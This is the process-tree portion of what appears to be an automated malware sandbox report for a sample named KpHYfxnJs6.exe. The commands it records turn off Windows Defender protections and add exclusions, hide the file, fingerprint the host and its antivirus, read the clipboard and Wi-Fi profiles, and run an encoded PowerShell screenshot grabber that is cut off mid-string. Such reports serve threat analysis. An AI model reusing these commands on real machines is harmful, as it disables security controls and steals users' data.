Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()"
Imagebase:	0x7c0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FO LIST
Imagebase:	0xb00000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f330000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic csproduct get uuid
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Imagebase:	0xf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Imagebase:	0xf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:19:26
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path win32_VideoController get name
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6244, Parent PID: 3808

General

Target ID:	32
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path win32_VideoController get name
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:19:29
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:19:29
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:19:29
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:19:29
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:19:29
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Imagebase:	0xb0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:19:30
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 1784, Parent PID: 7732

General

Target ID:	42
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2380, Parent PID: 1640

General

Target ID:	43
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FO LIST
Imagebase:	0xb00000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3104, Parent PID: 7732

General

Target ID:	49
Start time:	01:19:31
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	01:19:32
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	01:19:32
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FO LIST
Imagebase:	0xb00000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Get-Clipboard
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FO LIST
Imagebase:	0xb00000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	systeminfo
Imagebase:	0x340000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	01:19:33
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwB